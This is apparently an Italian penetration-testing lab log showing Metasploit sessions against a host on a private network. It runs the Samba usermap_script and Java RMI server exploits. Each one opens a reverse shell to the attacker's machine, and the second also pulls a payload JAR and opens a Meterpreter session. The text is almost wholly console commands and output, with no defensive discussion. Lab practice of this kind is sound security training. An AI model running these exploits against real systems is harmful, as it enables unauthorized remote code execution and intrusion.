

EXPLOIT CON VARIE VULNERABILITA'

exploit di smb con il modulo usermap_script

```
[*] 192.168.1.40 - Command shell session 2 closed. Reason: User exit
msf6 exploit(multi/samba/usermap_script) > set lport 445
lport => 445
msf6 exploit(multi/samba/usermap_script) > exploit

[*] Started reverse TCP double handler on 192.168.1.25:445
[*] Accepted the first client connection ...
[*] Accepted the second client connection ...
[*] Command: echo VvAQYt5MpPsCwd0k;
[*] Writing to socket A
[*] Writing to socket B
[*] Reading from sockets ...
[*] Reading from socket B
[*] B: "VvAQYt5MpPsCwd0k\r\n"
[*] Matching ...
[*] A is input ...
[*] Command shell session 3 opened (192.168.1.25:445 -> 192.168.1.40:46167) at 2023-03-07 08:50:11 -0500

ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:76:8e:fb
          inet addr:192.168.1.40  Bcast:192.168.1.255  Mask:255.255.255.0
          inet6 addr: fe80::a00:27ff:fe76:8efb/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:391 errors:0 dropped:0 overruns:0 frame:0
          TX packets:309 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:31232 (30.5 KB)  TX bytes:65821 (64.2 KB)
          Base address:0xd020 Memory:f0200000-f0220000
```

EXPLOIT CON VARIE VULNERABILITA'

exploit java rmi code execution

```
msf6 exploit(multi/misc/java_rmi_server) > set rhosts 192.168.1.40
rhosts => 192.168.1.40
msf6 exploit(multi/misc/java_rmi_server) > exploit

[*] Started reverse TCP handler on 192.168.1.25:4444
[*] 192.168.1.40:1099 - Using URL: http://192.168.1.25:8080/Nkk0KLIuhKIbx
[*] 192.168.1.40:1099 - Server started.
[*] 192.168.1.40:1099 - Sending RMI Header ...
[*] 192.168.1.40:1099 - Sending RMI Call ...
[*] 192.168.1.40:1099 - Replied to request for payload JAR
[*] Sending stage (58829 bytes) to 192.168.1.40
[*] Meterpreter session 4 opened (192.168.1.25:4444 -> 192.168.1.40:33160) a

meterpreter > ifconfig
[-] Unknown command: ifconfig
meterpreter > ifconfig

Interface 1
=====
Name       : lo - lo
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ::

Interface 2
=====
Name       : eth0 - eth0
Hardware MAC : 00:00:00:00:00:00
IPv4 Address : 192.168.1.40
IPv4 Netmask : 255.255.255.0
```